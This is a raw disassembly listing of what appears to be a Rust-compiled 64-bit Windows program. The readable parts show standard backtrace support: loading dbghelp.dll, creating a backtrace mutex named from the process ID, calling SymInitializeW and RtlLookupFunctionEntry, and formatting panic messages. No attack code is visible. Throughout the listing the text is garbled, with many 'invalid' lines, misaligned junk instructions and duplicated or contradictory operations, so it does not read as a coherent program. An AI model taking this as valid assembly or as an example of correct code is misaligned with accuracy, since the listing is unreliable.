call 0x14c541d6a
or byte [rax - 0x76d2dbbc], 0xd0
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2e], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2f], dl
invalid
mov edi, 4
add al, 0
add byte [rax], al
invalid
add al, 0
add byte [rax], al
mov rax, qword [rsi + 8]
mov rbx, qword [rsi + 0x10]
sub rax, rbx
cmp rax, rdi
clc
jb 0x14014f9b1
mov rcx, qword [rsi]
add rcx, rbx
lea rdx, [rsp + 0x2c]
mov r8, rdi
mov eax, edi
mov eax, edi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rdi
mov qword [rsi + 0x10], rbx
add rsp, 0x30
invalid
pop rbx
xor byte [rbx + 0x5f], bl
pop rdi
pop rsi
ret
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.14018d7c0
add eax, dword [rax]
add eax, dword [rax]
mov rbx, qword [rsi + 0x10]
jmp 0x14014f98f
int3
sbb eax, 0x48000ec9
shl eax, 1
invalid
int1
sbb esi, 0xc0840003
int3
push rsi
push rdi
push rbx
sub rsp, 0x88
mov byte [rax], al
add byte [rax], al
mov byte [rax], al
add byte [rax], al
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
add r14b, r15b
invalid
invalid
dec dword [rax - 0x75]
sbb eax, 0xec80e
add byte [rax], 0
add byte [rax - 0x39], cl
add r14b, r15b
invalid
sbb eax, 0xec80e
test rbx, rbx
test ebx, ebx
je 0x14014fa85
mov rcx, rbx
mov edx, 0xffffffff
invalid
invalid
invalid
inc dword [rbp + 0x31]
sar bh, 0x15
fdiv st(6)
add eax, dword [rax]
sar bh, 0x15
fdiv st(6)
add eax, dword [rax]
mov rax, qword [0x14023c2a8]
mov eax, dword [0x14023c2a8]
test rax, rax
jne 0x14014fa71
lea rcx, str.dbghelp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
invalid
test byte [rbx], 0
mov qword [0x14023c2a8], rax
enter recv, 0x48
test eax, eax
int 0x3f
invalid
invalid
enter recv, 0x48
test eax, eax
je 0x14014fc27
cmp byte [0x14023c248], 0
je 0x14014fb65
rol bh, 1
invalid
xor edi, edi
jmp 0x14014fc35
mov al, 1
add byte [rax], al
mov al, 1
add byte [rax], al
movups xmm0, xmmword [0x1401c27a8]
movaps xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [str.LocalRustBacktraceMutex00000000]
movaps xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x10], 0
call sub.KERNEL32.dll_GetCurrentProcessId
test eax, eax
je 0x14014fb0f
mov ecx, 0x1f
nop dword [rax]
cmp rcx, 0x20
ja 0x14014fc47
mov edx, eax
and dl, 0xf
lea r8d, [rdx + 0x30]
lea r9d, [rdx + 0x37]
cmp dl, 0xa
movzx edx, r8b
movzx r8d, r9b
cmovb r8d, edx
mov byte [rbp + rcx - 0x30], r8b
cmp eax, 0x10
jb 0x14014fb0f
mov edx, eax
shr dl, 4
lea r8d, [rdx + 0x30]
add dl, 0x37
cmp al, 0xa0
movzx r8d, r8b
movzx edx, dl
cmovb edx, r8d
mov byte [rbp + rcx - 0x31], dl
mov edx, eax
shr edx, 8
add rcx, 0xfffffffffffffffe
cmp eax, 0x100
mov eax, edx
jae 0x14014fab0
movzx eax, byte [rbp - 0x10]
mov byte [rbp - 0x40], al
movaps xmm0, xmmword [rbp - 0x30]
movaps xmm1, xmmword [rbp - 0x20]
movaps xmmword [rbp - 0x50], xmm1
movaps xmmword [rbp - 0x60], xmm0
lea r8, [rbp - 0x60]
xor ecx, ecx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
test rax, rax
je 0x14014fc20
mov rbx, rax
xor eax, eax
lock cmpxchg qword [0x14023c240], rbx
je 0x14014fa37
mov rsi, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, rsi
jmp 0x14014fa37
mov rcx, qword [0x14023c2b0]
test rcx, rcx
jne 0x14014fb94
lea rdx, str.SymGetOptions
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14014fc61
mov rcx, rax
mov qword [0x14023c2b0], rax
call rcx
mov esi, eax
mov rax, qword [0x14023c2b8]
test rax, rax
jne 0x14014fbc8
mov rcx, qword [0x14023c2a8]
lea rdx, str.SymSetOptions
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14014fc7f
mov qword [0x14023c2b8], rax
or esi, 4
mov ecx, esi
call rax
mov rsi, qword [0x14023c2c0]
test rsi, rsi
jne 0x14014fc02
mov rcx, qword [0x14023c2a8]
lea rdx, str.SymInitializeW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14014fc9d
mov rsi, rax
mov qword [0x14023c2c0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
mov rcx, rax
xor edx, edx
mov r8d, 1
call rsi
mov byte [0x14023c248], 1
jmp 0x14014fc35
mov edi, 1
jmp 0x14014fc35
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, 1
mov rax, rdi
mov rdx, rbx
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea r8, str.library_std_src...._backtrace_srcdbghelp.rs
mov edx, 0x21
mov rcx, 0xffffffffffffffff
call fcn.140186a70
ud2
mov qword [rbp - 8], rbx
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.library_std_src...._backtrace_srcdbghelp.rs
mov edx, 0x2b
call fcn.140186b70
jmp 0x14014fcb9
mov qword [rbp - 8], rbx
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.library_std_src...._backtrace_srcdbghelp.rs
mov edx, 0x2b
call fcn.140186b70
jmp 0x14014fcb9
mov qword [rbp - 8], rbx
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.library_std_src...._backtrace_srcdbghelp.rs
mov edx, 0x2b
call fcn.140186b70
ud2
add al, 0
add dh, bh
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
mov ch, pe_nt_image_headers64
add eax, dword [rax]
add byte [rax - 0x75], cl
test al, 0x48
mov dword [rbp + 0x3d8], eax
mov edi, esp
invalid
dec dword [rcx + 0x39]
invalid
add byte [rax], al
add byte [rax], al
lea esp, [rax + 0x4c000003]
mov edx, ebp
movabs al, byte [0x3a8b5100f000003]
add byte [rax], al
add byte [rax], al
inc cl
invalid
ror dword [rsi], 0
add dh, byte [rbp + 0x6b]
add dh, al
sbb byte [rdx], al
loopne 0x140150081
dec byte [rax - 0x7d]
stc
add dh, byte [rdx + 0x74]
dec dword [rax - 0x77]
test dword [rax], eax
add al, 0
add byte [rax - 0x75], cl
dec qword [rax - 0x75]
mov eax, dword [rsi + 7]
invalid
add byte [rax], al
mov dword [rbp + 0x3f8], eax
clc
add eax, dword [rax]
add bh, bh
invalid
adc byte [rax - 0x75], cl
test eax, edi
clc
clc
add eax, dword [rax]
add byte [rax - 0x7d], cl
js 0x1401500c3
invalid
or byte [rax], al
add byte [rdi], cl
test byte [rdi + 0x48000000], ch
scasd eax, dword [rdi]
add byte [rax], al
invalid
invalid
scasd eax, dword [rdi]
add byte [rax], al
add byte [rax - 0x7d], cl
js 0x1401500d6
cmp dword [rax + 0x10], 0x11
adc dword [rdi], ecx
or dword [rdx + 0x4c000000], 0xffffff8b
mov al, byte [rax]
add byte [rax], al
invalid
invalid
invalid
mov al, byte [rax]
add byte [rax], al
invalid
add byte [rbx + rcx*4 - 0x7b], cl
test eax, ebp
add eax, dword [rax]
add cl, ch
invalid
call 0x1291500d8
mov dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x3f085], cl
add byte [rax], al
invalid
invalid
add eax, dword [rax]
add byte [rax], al
invalid
add eax, dword [rax]
add byte [rax - 0x75], cl
xchg ebp, eax
clc
add eax, dword [rax]
add byte [rax], al
mov dword [rdx + 0x1c], ecx
invalid
invalid
sbb al, 0x89
sbb dword [rax - 0x77], ecx
sbb dword [rax - 0x77], ecx
sbb dword [rax - 0x77], ecx
xor cl, byte [rdi]
adc dword [rdx + 8], esi
fadd dword [rbx]
add byte [rax], al
invalid
add byte [rax], al
add byte [rsi + rdx + 0x48], dh
mov ecx, dword [0x14023c258]
ror dword [rsi], 0
ror dword [rsi], 0
ror byte [rbx + rcx*4 - 0x7b], cl
loopne 0x140150117
invalid
mov eax, dword [rbp + 0x3e0]
add eax, dword [rax]
add bh, bh
add byte [rax], al
adc eax, 0x3ef0c
adc byte [rax + rax], al
add al, 0
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
pop rbp
pop rsi
out 0x20, al
and byte [rax - 0x7d], cl
invalid
adc bh, bh
invalid
invalid
mov ecx, dword [0x14023c258]
or eax, 0xec0ef
out dx, eax
ror byte [rsi], 0
add eax, dword [rax]
loopne 0x140150136
ror byte [rsi], 0
invalid
add bh, bh
adc eax, 0x3eea1
movabs eax, dword [0x3d8bd83480003ee]
add byte [rax], al
add eax, dword [rax]
add byte [rax - 0x7d], cl
mov ebp, 0x3d8
add byte [rdi], cl
test dword [rcx - 1], esi
jno 0x140150192
jno 0x140150192
invalid
invalid
test dword [rax - 0x73], ecx
or eax, 0x73e92
add eax, 0x733ab
xor eax, dword [rdi]
add byte [rdx + 0x28], bh
add byte [rax], al
add al, ch
shr dword [rcx + 3], 0
add byte [rax], al
add eax, 0x73380
xor eax, dword [rdi]
add byte [rcx + rcx*4 - 0x3f], cl
mov rcx, r8
mov ecx, eax
add eax, dword [rax]
add byte [rdi], cl
or ecx, dword [rdi]
invalid
push rbp
push r15
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x20], esi
movaps xmmword [rsp + 0x20], xmm6
mov rcx, qword [rbp + 0x3e0]
add byte [rax - 0x75], cl
xchg ebp, eax
fadd dword [rbx]
add byte [rax], al
mov rdx, qword [rbp + 0x3d8]
mov edx, dword [rbp + 0x3d8]
call fcn.140046050
movaps xmm6, xmmword [rsp + 0x20]
sub byte [rsp + 0x20], dh
and byte [rax - 0x7d], cl
invalid
add rsp, 0x38
add esp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
nop word [rax + rax]
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push r15
push rdi
push r14
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rsp + 0x20], xmm6
sub dword [rsp + 0x20], esi
mov rcx, qword [rbp + 0x3c0]
mov rdx, qword [rbp + 0x3c8]
mov edx, dword [rbp + 0x3c8]
add byte [rax - 0x75], cl
xchg ebp, eax
enter 3, 0
add eax, dword [rax]
add byte [rax], al
add al, ch
cld
pop rbp
out dx, eax
dec dword [rdi]
sub byte [rsp + 0x20], dh
invalid
call fcn.140046050
movaps xmm6, xmmword [rsp + 0x20]
invalid
and byte [rax - 0x7d], cl
invalid
add rsp, 0x38
cmp byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], r8b
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x20], esi
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x20], esi
and al, 0x20
and byte [rax - 0x75], cl
test eax, edi
add eax, dword [rax]
mov rax, qword [rbp + 0x3f8]
mov rdx, qword [rax + 8]
invalid
add byte [rax - 0x75], cl
push rax
or byte [rbx + rcx*4 + 0x40], cl
adc byte [rax - 0x75], cl
invalid
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x3e8]
mov ecx, dword [rbp + 0x3e8]
mov ecx, dword [rbp + 0x3e8]
invalid
add byte [rax], al
call fcn.140005270
mov rcx, qword [rbp + 0x400]
mov ecx, dword [rbp + 0x400]
add al, ch
cwde
nop
in eax, dx
dec dword [rdi]
sub byte [rsp + 0x20], dh
call fcn.140029350
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
add esp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
int3
sub esp, 0x28
mov rcx, rdx
mov qword [rsp + 0x20], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [rsp + 0x20]
push rsp
and al, 0x20
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
out dx, al
add eax, dword [rax]
invalid
out dx, al
add eax, dword [rax]
invalid
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
invalid
ret
int3
int3
sub esp, 0x28
mov rcx, rdx
in al, dx
sub byte [rax - 0x77], cl
ror dword [rax - 0x39], 1
invalid
invalid
mov qword [rsp + 0x20], 0
and al, 0x20
add byte [rax], al
add byte [rax], al
invalid
lea rdx, [rsp + 0x20]
push rsp
and al, 0x20
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
invalid
sar bh, 0x15
cmp ch, dh
add eax, dword [rax]
invalid
mov rax, qword [rsp + 0x20]
and al, 0x20
add rsp, 0x28
ret
invalid
int3
inc dword [rcx + 0x18]
sbb bl, al
int3
ret
int3
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0xf0
mov rdi, r9
add byte [rcx + rcx*4 - 0x31], cl
mov rbx, r8
mov rsi, rcx
mov esi, ecx
mov esi, ecx
mov r12, qword [rcx]
mov r15, qword [rcx + 8]
mov qword [rsp + 0xe8], rdx
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbp + 0x16], cl
test rdx, rdx
jne 0x140150385
cmp byte [r12 + 0x20], 0
and byte [rax], al
jne 0x140150385
inc r15
mov qword [rsi + 8], r15
xor eax, eax
jmp 0x140150a6b
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x75], cl
add al, 0x24
mov rax, qword [r12]
test r15, r15
je 0x14015048d
invalid
add byte [rax - 0x73], cl
or eax, 0x7232f
invalid
and eax, dword [rdi]
invalid
lea rcx, str.
invalid
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
add byte [rax - 0x73], cl
or eax, 0x99e6a
add byte [rax - 0x73], cl
or eax, 0x99e6a
mov qword [rsp + 0x30], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
adc dword [rsp + 0x38], eax
adc dword [rsp + 0x38], eax
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r14, [rsp + 0x20]
mov r8, r14
call fcn.1400141d0
test al, al
jne 0x140150a69
cmp byte [r12 + 0x20], 1
cmp byte [rsp + 0x20], 1
jne 0x140150615
mov rax, qword [r12]
lea rcx, [0x1401ea648]
or eax, 0x9a259
or eax, 0x9a259
mov qword [rsp + 0xa8], rcx
lea rdx, [0x1400141a0]
cmp eax, 0x8948ffec
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x722cb
invalid
cmp eax, 0x8948ffec
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x722cb
invalid
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xb8
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xffec31a4
mov qword [rsp + 0xb8], rdx
lea rdx, [0x1400135c0]
mov qword [rsp + 0xc0], rdx
mov dword [rsp + 0xc0], edx
mov qword [rsp + 0x20], 2
mov qword [rsp + 0x30], 1
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0x20
and byte [rax], al
add byte [rax], al
and byte [rax], al
add byte [rax], al
mov byte [rsp + 0x50], 3
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x90], r14
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
add cl, ch
invalid
add dword [rax], eax
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
add cl, ch
invalid
lea rcx, [r12 + 0x18]
mov qword [rsp + 0xa8], rcx
mov dword [rsp + 0xa8], ecx
mov dword [rsp + 0xa8], ecx
lea rcx, [fcn.140013600]
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0x20], 2
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x30
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x30
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x38], 4
and al, 0x38
add al, 0
add byte [rax], al
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0x20
mov byte [rsp + 0x50], 3
lea rcx, [0x1401c2670]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], 2
lea r14, [rsp + 0x20]
mov qword [rsp + 0x90], r14
mov dword [rsp + 0x90], esi
mov dword [rsp + 0x90], esi
mov qword [rsp + 0x98], 1
lea r13, [rsp + 0xa8]
mov qword [rsp + 0x80], r13
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x70]
and al, 0x70
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
invalid
invalid
invalid
and al, 0x70
call fcn.1400141d0
test al, al
jne 0x140150a69
cmp byte [r12 + 0x20], 1
jne 0x140150615
mov dword [rsp + 0x70], ecx
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], r14
and al, 0x90
add byte [rax], al
invalid
mov qword [rsp + 0x98], 1
mov qword [rsp + 0x80], r13
add byte [rax], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov qword [rsp + 0x88], 2
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
call fcn.1400141d0
test al, al
ror byte [rdi], 0x85
push rsp
add al, 0
invalid
ror byte [rdi], 0x85
push rsp
add al, 0
add byte [rbx - 0x7bf0fcc5], al
invalid
cmp dword [rbx], 3
je 0x14015072c
movzx eax, byte [r12 + 0x20]
movzx eax, byte [rsp + 0x20]
cmp rax, 1
je 0x1401509c6
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x7b], cl
test eax, eax
jne 0x14015072c
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x60], xmm0
sub dword [rsp + 0x60], eax
test rax, rax
jne 0x14015072c
sub dword [rsp + 0x60], eax
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmm3, xmmword [rbx + 0x30]
adc byte [rbx + 0x30], bl
pop rbx
xor byte [rdi], cl
sub dword [rsp + 0x50], ebx
pop rbx
xor byte [rdi], cl
sub dword [rsp + 0x50], ebx
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
invalid
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [r12]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0xd8], rcx
mov word [rax + rbx*8], fs
and al, 0xd8
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xffffd025
and al, 0xd8
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xffffd025
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0x70], 2
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x70
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x80], 2
mov qword [rsp + 0x90], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movabs rcx, 0x400000020
add byte [rax], al
movabs rcx, 0x400000020
mov qword [rsp + 0x98], rcx
mov byte [rsp + 0xa0], 3
add byte [rax], al
add dh, al
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rbx], al
lea rcx, [0x1401ea648]
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xb0], 1
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
lea rcx, [rsp + 0x70]
add dword [rax], eax
add byte [rax], al
lea rcx, [rsp + 0x70]
mov qword [rsp + 0xc8], rcx
mov qword [rsp + 0xd0], 1
invalid
and al, 0xc8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rsp + 0xd8]
mov qword [rsp + 0xb8], rcx
mov qword [rsp + 0xc0], 1
mov dword [rsp + 0xc0], 1
mov rcx, qword [rax + 0x20]
invalid
invalid
lea rcx, [rsp + 0xd8]
mov qword [rsp + 0xb8], rcx
mov qword [rsp + 0xc0], 1
mov dword [rsp + 0xc0], 1
mov dword [rsp + 0xc0], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
mov edx, dword [rax + 0x28]
push rax
invalid
push rax
sub byte [rbp + rcx*4 - 0x7c], cl
lea r8, [rsp + 0xa8]
call fcn.1400141d0
test al, al
sal byte [rsp + rcx*2 - 0x17], 0x3d
je 0x140150773
jmp 0x140150a69
mov rax, qword [r12]
lea r8, [rsp + 0xa8]
call fcn.1400141d0
test al, al
invalid
je 0x140150773
jmp 0x140150a69
mov rax, qword [r12]
lea rcx, [0x1401c26e0]
mov qword [rsp + 0x20], rcx
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x28], 1
lea rcx, [0x1401ea218]
lea ecx, [0x1401ea218]
or eax, 0x99acc
or eax, 0x99acc
mov qword [rsp + 0x30], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
and al, 0x38
cmp byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x20
cmp byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x20
call fcn.1400141d0
test al, al
jne 0x140150a69
in al, dx
inc dword [rax + rax*8 + 0x2f6850f]
add byte [rax], al
mov rax, qword [r12]
mov rcx, qword [rax + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x70a41
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x70a41
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x140150a69
add bh, bh
push rax
sbb byte [rax + rax*8 + 0x2d2850f], al
add byte [rax], al
cmp dword [rsp + 0x150], 1
jne 0x140150377
add byte [rax], al
add dword [rdi], ecx
test edx, edx
sti
invalid
mov rax, qword [rdi]
cmp eax, 2
add cl, byte [rdi]
test dh, al
invalid
sti
invalid
invalid
invalid
mov eax, dword [rsp + 0x158]
mov dword [rsp + 0xd8], eax
add byte [rax], al
add byte [rcx - 0x80], al
jl 0x1401507e7
and byte [rcx], al
add byte [rcx - 0x80], al
jl 0x1401507e7
and byte [rcx], al
jne 0x14015089a
add byte [rcx - 0x75], cl
add al, 0x24
invalid
mov rax, qword [r12]
lea rcx, [0x1401ea648]
mov qword [rsp + 0xa8], rcx
add byte [rax - 0x73], cl
adc eax, 0xffec39bb
add byte [rax - 0x73], cl
adc eax, 0xffec39bb
mov qword [rsp + 0xb0], rdx
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rax], al
lea rdx, [0x1401c26b8]
add byte [rax], al
lea rdx, [0x1401c26b8]
mov qword [rsp + 0xb8], rdx
lea rdx, [0x1400135c0]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xffec2dbd
mov qword [rsp + 0xc0], rdx
mov qword [rsp + 0x20], 2
rol byte [rax], 0
add byte [rax - 0x39], cl
and al, 0x20
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x30], 1
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x40
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], 0x20
and al, 0x48
and byte [rax], al
add byte [rax], al
mov byte [rsp + 0x50], 3
mov qword [rsp + 0x70], rcx
and al, 0x70
and al, 0x70
mov qword [rsp + 0x78], 1
lea rcx, [rsp + 0x20]
and al, 0x20
and al, 0x20
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x98], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
call fcn.1400141d0
test al, al
jne 0x140150a69
mov rax, qword [r12]
lea rcx, str._____________at
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
lea rbx, [0x1401ea218]
mov qword [rsp + 0x30], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x20]
call fcn.1400141d0
test al, al
jne 0x140150a69
mov rcx, qword [r12 + 8]
mov rax, qword [r12 + 0x10]
mov rdx, qword [r12]
mov qword [rsp + 0x20], rdx
lea r8, [rsp + 0x28]
and al, 0x28
and al, 0x28
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x28], xmm0
mov r9, qword [rdi + 0x10]
adc byte [rcx + rcx*4 + 0x4c], cl
and al, 0x38
adc byte [rcx + rcx*4 + 0x4c], cl
and al, 0x38
call qword [rax + 0x20]
test al, al
jne 0x140150a69
mov rax, qword [r12]
lea rcx, [rsp + 0xd8]
lea ecx, [rsp + 0xd8]
lea ecx, [rsp + 0xd8]
mov qword [rsp + 0x70], rcx
lea rcx, [0x1400168d0]
jo 0x14015096f
lea ecx, [0x1400168d0]
mov qword [rsp + 0x78], rcx
and al, 0x78
lea rcx, [0x1401ea8b8]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x40], 0
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x70
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x70
mov qword [rsp + 0x30], rcx
and al, 0x30
mov qword [rsp + 0x38], 1
and al, 0x38
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
mov edx, dword [rax + 0x28]
mov edx, dword [rax + 0x28]
lea r8, [rsp + 0x20]
and al, 0x20
and al, ch
pop rbx
cmp ah, ch
in al, dx
call fcn.1400141d0
test al, al
jne 0x140150a69
in al, dx
add byte [rax], al
invalid
in al, dx
inc dword [rax + rax*8 + 0xec850f]
add byte [rax], al
in al, dx
add byte [rax], al
add byte [rcx - 0x75], cl
mov eax, dword [rsp]
mov rax, qword [r12]
mov eax, dword [rsp]
lea rcx, [0x1401c2710]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
mov byte [0xc95d0991], bl
and al, 0x20
mov dword [rsp + 0x20], ecx
mov qword [rsp + 0x28], 1
add byte [rax], al
mov qword [rsp + 0x30], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x20]
and al, 0x20
and al, 0x20
call fcn.1400141d0
mov ecx, eax
mov al, 1
invalid
add dword [rcx + rcx*8 - 0x6497bf1], eax
invalid
test cl, cl
je 0x140150377
